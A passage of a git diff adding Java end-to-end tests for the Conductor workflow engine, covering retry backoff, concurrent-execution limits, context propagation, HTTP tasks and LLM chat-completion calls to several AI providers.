StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName(WORKFLOW_NAME); + request.setVersion(1); + request.setInput(Map.of()); + String id = workflowClient.startWorkflow(request); + log.info("Started Retry logic workflow {} ", id); + + await().pollInterval(3, TimeUnit.SECONDS) + .atMost(1, TimeUnit.MINUTES) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(id, true); + assertNotNull(workflow); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, workflow.getStatus()); + }); + + Workflow workflow = workflowClient.getWorkflow(id, true); + assertNotNull(workflow); + assertEquals(9, workflow.getTasks().size()); + List tasks = workflow.getTasks(); + assertTaskRetryLogic(tasks); + } catch (Exception e) { + } + } + + private void assertTaskRetryLogic(List runs) { + for (int i = 1; i < runs.size(); i++) { + Task task = runs.get(i); + TaskDef.RetryLogic retryLogic = task.getTaskDefinition().get().getRetryLogic(); + long delay = task.getTaskDefinition().get().getRetryDelaySeconds() * 1000; + long backoffRate = task.getTaskDefinition().get().getBackoffScaleFactor(); + switch (retryLogic) { + case FIXED: + long diff = task.getStartTime() - task.getScheduledTime(); + long expectedDelay = delay; + assertTrue( + diff >= (expectedDelay - 1), + "delay " + + diff + + " not within the range of expected " + + expectedDelay + + ", taskId = " + + task.getReferenceTaskName() + + ":" + + task.getTaskId()); + break; + case LINEAR_BACKOFF: + diff = task.getStartTime() - task.getScheduledTime(); + expectedDelay = task.getRetryCount() * delay * backoffRate; + assertTrue( + diff >= (expectedDelay - 1), + "delay " + + diff + + " not within the range of expected " + + expectedDelay + + ", taskId = " + + task.getReferenceTaskName() + + ":" + + task.getTaskId()); + break; + case EXPONENTIAL_BACKOFF: + diff = task.getStartTime() - task.getScheduledTime(); + if (task.getRetryCount() == 0) { + expectedDelay = 0; + } else { + expectedDelay = (long) (Math.pow(2, task.getRetryCount() - 1) * (delay)); + } + assertTrue( + diff >= (expectedDelay - 1), + "delay " + + diff + + " not within the range of expected " + + expectedDelay + + ", taskId = " + + task.getReferenceTaskName() + + ":" + + task.getTaskId()); + break; + default: + break; + } + } + } + + private static void startWorkers(List tasks) { + List workers = new ArrayList<>(); + for (TaskDef task : tasks) { + workers.add(new TestWorker(task.getName())); + } + + configurer = + new TaskRunnerConfigurer.Builder(taskClient, workers) + .withThreadCount(1) + .withTaskPollTimeout(10) + .build(); + configurer.init(); + } + + private static class TestWorker implements Worker { + + private String name; + + public TestWorker(String name) { + this.name = name; + } + + @Override + public String getTaskDefName() { + return name; + } + + @Override + public TaskResult execute(Task task) { + TaskResult result = new TaskResult(task); + result.getOutputData().put("number", 42); + if (task.getRetryCount() < 2) { + result.setStatus(TaskResult.Status.FAILED); + } else { + result.setStatus(TaskResult.Status.COMPLETED); + } + + return result; + } + + @Override + public int getPollingInterval() { + return 100; + } + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/task/ConcurrentExecLimitTests.java b/e2e/src/test/java/io/conductor/e2e/task/ConcurrentExecLimitTests.java new file mode 100644 index 0000000..c9e7b1e --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/task/ConcurrentExecLimitTests.java @@ -0,0 +1,318 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.task; + +import java.io.IOException; +import java.io.InputStream; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import org.apache.commons.compress.utils.IOUtils; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.exception.ConductorClientException; +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.WorkflowSummary; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.conductor.e2e.util.ApiUtil; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +@Slf4j +public class ConcurrentExecLimitTests { + + static WorkflowClient workflowClient; + static TaskClient taskClient; + static MetadataClient metadataClient; + + static ObjectMapper objectMapper; + + @BeforeAll + public static void init() { + workflowClient = ApiUtil.WORKFLOW_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + objectMapper = new ObjectMapperProvider().getObjectMapper(); + } + + private void terminateExistingRunningWorkflows(String workflowName) { + // clean up first + SearchResult found = + workflowClient.search( + "workflowType IN (" + workflowName + ") AND status IN (RUNNING)"); + System.out.println( + "Found " + found.getResults().size() + " running workflows to be cleaned up"); + found.getResults() + .forEach( + workflowSummary -> { + try { + System.out.println( + "[ConcurrentExecLimit] Going to terminate " + + workflowSummary.getWorkflowId() + + " with status " + + workflowSummary.getStatus()); + workflowClient.terminateWorkflow( + workflowSummary.getWorkflowId(), + "terminate - ConcurrentExecLimit test"); + } catch (Exception e) { + if (!(e instanceof ConductorClientException)) { + throw e; + } + } + }); + } + + @SneakyThrows + protected static String getResourceAsString(String classpathResource) { + InputStream stream = + ConcurrentExecLimitTests.class + .getClassLoader() + .getResourceAsStream(classpathResource); + byte[] data = IOUtils.toByteArray(stream); + return new String(data); + } + + @Test + @DisplayName("Check concurrent exec limit test") + public void testTerminateForDataInconsistency() { + String workflowName = "exec_limit_check"; + String taskName = "exec_limit"; + + terminateExistingRunningWorkflows(workflowName); + + try { + WorkflowDef workflowDef = + objectMapper.readValue( + getResourceAsString("exec_limit_workflow.json"), WorkflowDef.class); + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + TaskDef tasKDef = new TaskDef(taskName); + tasKDef.setOwnerEmail("test@conductor.io"); + tasKDef.setConcurrentExecLimit(2); + metadataClient.registerTaskDefs(List.of(tasKDef)); + } catch (IOException e) { + log.error("Failed to read and register workflow", e); + } + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + workflowClient.getWorkflow(workflowId, true); + + // With default taskExecutionPostponeDuration=60s, the 6-task fork needs up to ~180s to + // complete. + // To speed up, set conductor.app.taskExecutionPostponeDuration=10s in server config. + await().atMost(180, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + try { + List task = + taskClient.batchPollTasksByTaskType( + taskName, "worker", 10, 1000); + if (task != null) { + System.out.println("Got " + task.size() + " tasks..."); + assertTrue(task.size() <= 2); + task.forEach( + task1 -> { + taskClient.updateTaskSync( + workflowId, + task1.getReferenceTaskName(), + TaskResult.Status.COMPLETED, + Map.of("updatedBy", "e2e")); + }); + } + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + workflowClient.getWorkflow(workflowId, false).getStatus()); + } catch (Exception e) { + if (!(e instanceof ConductorClientException)) { + throw e; + } + } + }); + } + + /** + * Reproduces the bug fixed by PR conductor-oss/conductor#1105. + * + *

    Sequence: + * + *

      + *
    1. Register a task with {@code concurrentExecLimit=1}; workflow forks two tasks of that + * type. + *
    2. Poll once → get task A. A goes IN_PROGRESS and occupies the only slot. + *
    3. Poll again → empty (B fails {@code exceedsInProgressLimit} and gets postponed for + * {@code conductor.app.taskExecutionPostponeDuration} seconds — 60s by default). + *
    4. Complete A; the slot is now free. + *
    5. Poll for B and measure the wait. + *
    + * + *

    Post-fix: B is pollable within a couple seconds because terminal completion of A peeks the + * queue and resets B's offset to {@code now}. Pre-fix: B remains postponed for ~the postpone + * duration. + */ + @Test + @DisplayName("Postponed task should be released when concurrencyLimit slot frees") + public void testPostponedTaskReleasedOnSlotFree() throws Exception { + String workflowName = "concurrency_wakeup_check"; + String taskName = "concurrency_wakeup"; + + terminateExistingRunningWorkflows(workflowName); + + TaskDef taskDef = new TaskDef(taskName); + taskDef.setOwnerEmail("test@conductor.io"); + taskDef.setRetryCount(0); + taskDef.setConcurrentExecLimit(1); + metadataClient.registerTaskDefs(List.of(taskDef)); + + WorkflowTask branchA = new WorkflowTask(); + branchA.setName(taskName); + branchA.setTaskReferenceName(taskName + "_a"); + branchA.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask branchB = new WorkflowTask(); + branchB.setName(taskName); + branchB.setTaskReferenceName(taskName + "_b"); + branchB.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask forkTask = new WorkflowTask(); + forkTask.setName("fork"); + forkTask.setTaskReferenceName("fork_ref"); + forkTask.setWorkflowTaskType(TaskType.FORK_JOIN); + List> forkBranches = new ArrayList<>(); + forkBranches.add(List.of(branchA)); + forkBranches.add(List.of(branchB)); + forkTask.setForkTasks(forkBranches); + + WorkflowTask joinTask = new WorkflowTask(); + joinTask.setName("join"); + joinTask.setTaskReferenceName("join_ref"); + joinTask.setWorkflowTaskType(TaskType.JOIN); + joinTask.setJoinOn(List.of(taskName + "_a", taskName + "_b")); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setOwnerEmail("test@conductor.io"); + workflowDef.setVersion(1); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.ALERT_ONLY); + workflowDef.setTimeoutSeconds(0); + workflowDef.setTasks(List.of(forkTask, joinTask)); + // updateWorkflowDefs overwrites; registerWorkflowDef would 409 on re-runs. + metadataClient.updateWorkflowDefs(List.of(workflowDef)); + + StartWorkflowRequest start = new StartWorkflowRequest(); + start.setName(workflowName); + start.setVersion(1); + String workflowId = workflowClient.startWorkflow(start); + log.info("Started workflow {} for concurrency wakeup test", workflowId); + + // Step 1: poll first task - should get exactly one because concurrentExecLimit=1. + List first = pollUntilNonEmpty(taskName, 10); + assertEquals( + 1, + first.size(), + "Expected exactly one task on first poll due to concurrentExecLimit=1"); + Task taskA = first.get(0); + + // Step 2: poll again - should be empty because B fails exceedsInProgressLimit and gets + // postponed. Drain stragglers for a short window to ensure the postpone is firmly placed. + long postponePlacedDeadline = System.currentTimeMillis() + 3000; + while (System.currentTimeMillis() < postponePlacedDeadline) { + List drain = taskClient.batchPollTasksByTaskType(taskName, "worker", 10, 500); + if (drain != null && !drain.isEmpty()) { + fail("Did not expect a second task while A is in progress: " + drain); + } + } + + // Step 3: complete A. This frees the slot and (post-fix) releases B's postpone. + long completedAt = System.currentTimeMillis(); + taskClient.updateTaskSync( + workflowId, + taskA.getReferenceTaskName(), + TaskResult.Status.COMPLETED, + Map.of("updatedBy", "e2e")); + log.info("Completed task A at t={}, now polling for B...", completedAt); + + // Step 4: B should now be pollable quickly. Allow 5s; pre-fix the bug forces ~60s. + Task taskB = null; + long deadline = completedAt + TimeUnit.SECONDS.toMillis(5); + while (System.currentTimeMillis() < deadline) { + List polled = taskClient.batchPollTasksByTaskType(taskName, "worker", 1, 500); + if (polled != null && !polled.isEmpty()) { + taskB = polled.get(0); + break; + } + } + long waitedMs = System.currentTimeMillis() - completedAt; + log.info( + "Polled for B for {} ms; got task={}", + waitedMs, + taskB != null ? taskB.getTaskId() : ""); + assertNotNull( + taskB, + "Task B should be pollable within 5s of A completing, but no task was returned (waited " + + waitedMs + + " ms). This indicates the postpone offset was not reset when the " + + "concurrencyLimit slot was freed."); + + // Cleanup: complete B and let the workflow finish. + taskClient.updateTaskSync( + workflowId, + taskB.getReferenceTaskName(), + TaskResult.Status.COMPLETED, + Map.of("updatedBy", "e2e")); + await().atMost(20, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + workflowClient.getWorkflow(workflowId, false).getStatus())); + } + + private List pollUntilNonEmpty(String taskName, int timeoutSecs) { + long deadline = System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(timeoutSecs); + while (System.currentTimeMillis() < deadline) { + List polled = taskClient.batchPollTasksByTaskType(taskName, "worker", 1, 500); + if (polled != null && !polled.isEmpty()) { + return polled; + } + } + return List.of(); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/task/ContextPropagationTest.java b/e2e/src/test/java/io/conductor/e2e/task/ContextPropagationTest.java new file mode 100644 index 0000000..6c0bb3a --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/task/ContextPropagationTest.java @@ -0,0 +1,97 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.task; + +import java.util.ArrayList; +import java.util.concurrent.TimeUnit; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; + +import io.conductor.e2e.util.ApiUtil; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; + +import static io.conductor.e2e.util.TestUtil.getResourceAsString; +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.*; + +@Slf4j +public class ContextPropagationTest { + + @Test + @SneakyThrows + @DisplayName( + "When tasks are scheduled in an org they should be available when polling in the same org") + public void testScheduledTasksArePolled() { + var metadataClient = ApiUtil.METADATA_CLIENT; + var workflowClient = ApiUtil.WORKFLOW_CLIENT; + var taskClient = ApiUtil.TASK_CLIENT; + + var mapper = new ObjectMapperProvider().getObjectMapper(); + + var workflowDef = + mapper.readValue( + getResourceAsString("metadata/context_concurrency_issue.json"), + WorkflowDef.class); + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + + var swr = new StartWorkflowRequest(); + swr.setName(workflowDef.getName()); + swr.setVersion(workflowDef.getVersion()); + var wfId = workflowClient.startWorkflow(swr); + assertNotNull(wfId); + + var taskType = "concurrency_issue"; + var scheduledTasks = new ArrayList(); + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + var workflow = workflowClient.getWorkflow(wfId, true); + var tasks = + workflow.getTasks().stream() + .filter( + t -> + t.getTaskDefName().equals(taskType) + && t.getStatus() + == Task.Status + .SCHEDULED) + .map(Task::getTaskId) + .toList(); + assertEquals(8, tasks.size()); + scheduledTasks.addAll(tasks); + }); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + var polled = + taskClient.batchPollTasksByTaskType(taskType, "test", 10, 0); + assertNotNull(polled); + assertEquals( + 8, + polled.size(), + "Expected 8 to be polled but got " + polled.size()); + assertTrue( + polled.stream() + .allMatch(t -> scheduledTasks.contains(t.getTaskId()))); + }); + + workflowClient.terminateWorkflow(wfId, "cleanup"); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/task/HTTPTaskTests.java b/e2e/src/test/java/io/conductor/e2e/task/HTTPTaskTests.java new file mode 100644 index 0000000..00f1c32 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/task/HTTPTaskTests.java @@ -0,0 +1,89 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.task; + +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.TestInstance; + +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.run.Workflow; + +import io.conductor.e2e.util.ApiUtil; +import lombok.extern.slf4j.Slf4j; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.*; + +@Slf4j +@TestInstance(TestInstance.Lifecycle.PER_CLASS) +public class HTTPTaskTests { + + @Test + @Disabled( + "Requires httpbin-server internal service (http://httpbin-server:8081) not configured in conductor-oss e2e docker setup") + public void HTTPAsyncCompleteTest() { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + TaskClient taskClient = ApiUtil.TASK_CLIENT; + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setVersion(1); + startWorkflowRequest.setName("http_async_complete"); + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + await().pollInterval(5, TimeUnit.SECONDS) + .atMost(1, TimeUnit.MINUTES) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertEquals(1, workflow.getTasks().size()); + assertEquals( + Task.Status.SCHEDULED, + workflow.getTasks().getFirst().getStatus()); + assertNotNull( + workflow.getTasks() + .getFirst() + .getOutputData() + .getOrDefault("response", null)); + }); + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + TaskResult taskResult = new TaskResult(workflow.getTasks().getFirst()); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(taskResult); + await().pollInterval(5, TimeUnit.SECONDS) + .atMost(1, TimeUnit.MINUTES) + .untilAsserted( + () -> { + Workflow workflowCompleted = + workflowClient.getWorkflow(workflowId, false); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + workflowCompleted.getStatus()); + }); + workflow = workflowClient.getWorkflow(workflowId, true); + Map response = + (Map) + workflow.getTasks() + .getFirst() + .getOutputData() + .getOrDefault("response", Map.of()); + assertNotNull(response); + assertEquals(200, response.get("statusCode")); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/task/LLMChatCompleteTests.java b/e2e/src/test/java/io/conductor/e2e/task/LLMChatCompleteTests.java new file mode 100644 index 0000000..27bbd26 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/task/LLMChatCompleteTests.java @@ -0,0 +1,1335 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.task; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.EnabledIfEnvironmentVariable; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; + +import io.conductor.e2e.util.ApiUtil; +import lombok.extern.slf4j.Slf4j; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Server-side end-to-end coverage for {@code LLM_CHAT_COMPLETE} against live providers. + * + *

    Each {@code @Test} method is independently gated on the provider's API key being present on + * the host shell. The {@code docker-compose-postgres.yaml} / {@code + * docker-compose-postgres-e2e.yaml} files forward those variables through to the conductor-server + * container, where Spring binds them onto {@code conductor.ai..api-key}. If a key isn't + * set, the dependent tests self-skip via {@link EnabledIfEnvironmentVariable}. + * + *

    Model selection

    + * + * Models are pinned to the current generally-available lineup published by each provider: + * + *
      + *
    • Anthropic (from claude.com/docs/models/overview): + *
        + *
      • {@link #ANTHROPIC_HAIKU_MODEL} — non-thinking baseline. + *
      • {@link #ANTHROPIC_SONNET_THINKING_MODEL} — extended-thinking-capable (legacy {@code + * thinking.type=enabled} + {@code budget_tokens} still accepted). + *
      • {@link #ANTHROPIC_OPUS_THINKING_MODEL} — adaptive-thinking only; rejects the legacy + * shape, the adapter must rewrite {@code thinkingTokenLimit} into {@code + * thinking.type=adaptive} + {@code output_config.effort}. + *
      + *
    • OpenAI (from developers.openai.com/api/docs/models/all): + *
        + *
      • {@link #OPENAI_CHAT_MODEL} — general-purpose, non-reasoning chat. + *
      • {@link #OPENAI_REASONING_MODEL} — reasoning model that honors {@code reasoningEffort} + * / {@code reasoningSummary} via the Responses API. + *
      + *
    • Cohere (from docs.cohere.com/docs/image-inputs): + *
        + *
      • {@link #COHERE_VISION_MODEL} — vision-capable; exercises image media input ({@code + * messages[].media}) through the Cohere adapter. + *
      + *
    + * + *

    Matrix

    + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + *
    ScenarioAnthropic non-thinkingAnthropic Sonnet thinkingAnthropic Opus thinking (adaptive)OpenAI non-thinkingOpenAI reasoning
    Single chat✓✓✓✓✓
    Multi-turn history (`messages`)✓✓
    Function tool calling✓✓
    JSON output✓
    Response chaining (previousResponseId)✓
    LLM in DO_WHILE loop✓ (regression)
    Response chaining inside DO_WHILE✓
    Agentic DO_WHILE (workingState hand-off)✓
    + * + *

    The headline test {@link #anthropic_opus_thinking_inDoWhileLoop_completesAcrossIterations} is + * the regression lock for the production HTTP 400: pre-fix, Opus 4.7 + {@code thinkingTokenLimit} + * sent {@code thinking.type=enabled} which Opus 4.7 rejects ({@code "thinking.type.enabled" is not + * supported for this model. Use "thinking.type.adaptive" and "output_config.effort" ...}); the + * loop's first iteration failed and the workflow landed in FAILED. Post-fix the adapter rewrites + * the budget into {@code thinking.type=adaptive} + {@code output_config.effort}, so the loop + * completes both iterations. + */ +@Slf4j +public class LLMChatCompleteTests { + + // ---------------------------------------------------------------- + // Pinned model IDs (update when migrating to a newer generation) + // ---------------------------------------------------------------- + + /** Fastest non-thinking Claude. Source: claude.com/docs/models/overview "latest". */ + private static final String ANTHROPIC_HAIKU_MODEL = "claude-haiku-4-5"; + + /** + * Sonnet 4.6. Supports both extended thinking (legacy ``thinking.type=enabled`` + + * ``budget_tokens``, deprecated but still accepted) and adaptive thinking. We use it to cover + * the legacy-shape path against a current model so this test catches regressions in the older + * code path even after Opus 4.7 ages out. + */ + private static final String ANTHROPIC_SONNET_THINKING_MODEL = "claude-sonnet-4-6"; + + /** + * Opus 4.7. Adaptive thinking only — the legacy ``thinking.type=enabled`` shape returns HTTP + * 400. This is the model that motivated the adapter rewrite under test. + */ + private static final String ANTHROPIC_OPUS_THINKING_MODEL = "claude-opus-4-7"; + + /** + * General-purpose non-reasoning OpenAI chat model. Source: developers.openai.com + * "general-purpose chat models" list. Pinned to the latest 4.x mini for cost + parity with the + * in-repo {@code AIModelIntegrationTest} suite. + */ + private static final String OPENAI_CHAT_MODEL = "gpt-4.1-mini"; + + /** + * OpenAI reasoning model (Responses API path that nests ``reasoning.effort``). gpt-5-mini is + * the smallest gpt-5 reasoning variant and matches what the AI module's live integration tests + * use today. + */ + private static final String OPENAI_REASONING_MODEL = "gpt-5-mini"; + + /** + * Cohere's GA vision model. Source: docs.cohere.com/docs/image-inputs ("Image inputs are + * supported on Command A Vision"). + */ + private static final String COHERE_VISION_MODEL = "command-a-vision-07-2025"; + + /** + * Vision-test image embedding the machine-unguessable token below. The asset is committed in + * this repo (e2e/src/test/resources/assets/melon7391.png) and referenced at a raw URL pinned to + * the immutable commit SHA that added it, so the bytes can never drift and no third-party image + * host is involved — GitHub, which already hosts the code, is the only dependency. + * + *

    A remote HTTPS URL is deliberate, not a convenience — the local alternatives cannot work + * or would test less: + * + *

      + *
    • localhost / 127.0.0.1 URL: the server's {@code DocumentAccessPolicy} rejects + * loopback addresses outright (SSRF protection, {@code checkResolvedAddress}); a local + * URL only works if that security check is disabled in the config under test, which would + * make the e2e certify a configuration users don't run. + *
    • Bare base64 or data URI in {@code media}: never reaches any provider — {@code + * FileSystemDocumentLoader.supports()} claims any string without {@code ://} and the + * access policy rejects it as a disallowed file path. + *
    • {@code file://} path: requires the test and server to share a filesystem and the + * path to sit under the server's allowed directories — breaks the dockerized e2e flow + * where the server runs in a container. + *
    + * + *

    A remote HTTPS URL is also the shape real workflow media takes in production, so the test + * covers the genuine path: {@code LLMHelper} downloads it via {@code HttpDocumentLoader} + * (through the access-policy checks) and hands the bytes to the provider adapter. + */ + private static final String TOKEN_IMAGE_URL = + "https://raw.githubusercontent.com/conductor-oss/conductor/" + + "d8db275351294084203df3ed881c8435a38810af" + + "/e2e/src/test/resources/assets/melon7391.png"; + + /** + * The token rendered inside {@link #TOKEN_IMAGE_URL}. Transcribing it proves the model saw the + * image: unlike a color question, the answer cannot be guessed — it appears nowhere in the + * prompt, so it can only come from the image itself. + */ + private static final String IMAGE_SECRET_TOKEN = "MELON7391"; + + /** Shared transcription prompt for the vision media tests. */ + private static final String TRANSCRIBE_PROMPT = + "Transcribe the exact text shown in the image. Reply with only that text and" + + " nothing else."; + + private final WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + private final MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + + // ==================================================================== + // Anthropic — non-thinking model (Claude Haiku 4.5) + // ==================================================================== + + @Test + @EnabledIfEnvironmentVariable(named = "ANTHROPIC_API_KEY", matches = ".+") + public void anthropic_haiku_singleChat_completes() { + // Sanity check for the simplest LLM_CHAT_COMPLETE input on a non-thinking model. + // Haiku 4.5 does not engage thinking; the request omits both thinkingTokenLimit + // and reasoningEffort, exercising the adapter's bare-minimum chat path. + String wfName = "ai_e2e_anthropic_haiku_single"; + registerSingleTaskWorkflow(wfName); + + Workflow wf = + runAndWait( + wfName, + Map.of( + "llmProvider", "anthropic", + "model", ANTHROPIC_HAIKU_MODEL, + "instructions", "You are a helpful math assistant. Be concise.", + "userInput", "What is 2 + 2? Reply with just the number."), + 60); + assertChatCompletedWithAnswer(wf, "4"); + } + + // ==================================================================== + // Anthropic — Sonnet 4.6 + thinking (legacy ``thinking.type=enabled`` shape) + // ==================================================================== + + @Test + @EnabledIfEnvironmentVariable(named = "ANTHROPIC_API_KEY", matches = ".+") + public void anthropic_sonnet_thinking_singleChat_completes() { + // Sonnet 4.6 still accepts the legacy ``thinking.type=enabled`` + ``budget_tokens`` + // shape (the adaptive path is recommended but the deprecated path remains + // functional). This test guards against the adapter accidentally over-routing every + // thinking-capable model through adaptive — which would suppress the legacy code + // path entirely. + String wfName = "ai_e2e_anthropic_sonnet_thinking_single"; + registerSingleTaskWorkflow(wfName); + + Workflow wf = + runAndWait( + wfName, + Map.of( + "llmProvider", "anthropic", + "model", ANTHROPIC_SONNET_THINKING_MODEL, + "thinkingTokenLimit", 4000, + "instructions", "You are a helpful math assistant. Be concise.", + "userInput", "What is 5 + 6? Reply with just the number."), + 90); + assertChatCompletedWithAnswer(wf, "11"); + } + + // ==================================================================== + // Anthropic — Opus 4.7 + thinking (adaptive-only) — regression for the HTTP 400 + // ==================================================================== + + @Test + @EnabledIfEnvironmentVariable(named = "ANTHROPIC_API_KEY", matches = ".+") + public void anthropic_opus_thinking_singleChat_completes() { + // Single-chat companion to the loop regression below. Locks in that Opus 4.7 + + // thinkingTokenLimit round-trips through the Conductor task pipeline (mapper → + // worker → adapter → live API → LLMResponse) when the adaptive-thinking rewrite + // is in place. + String wfName = "ai_e2e_anthropic_opus_thinking_single"; + registerSingleTaskWorkflow(wfName); + + Workflow wf = + runAndWait( + wfName, + Map.of( + "llmProvider", "anthropic", + "model", ANTHROPIC_OPUS_THINKING_MODEL, + "thinkingTokenLimit", 4000, + "instructions", "You are a helpful math assistant. Be concise.", + "userInput", "What is 3 + 4? Reply with just the number."), + 90); + assertChatCompletedWithAnswer(wf, "7"); + } + + @Test + @EnabledIfEnvironmentVariable(named = "ANTHROPIC_API_KEY", matches = ".+") + public void anthropic_opus_thinking_inDoWhileLoop_completesAcrossIterations() { + // The headline regression. Two iterations × 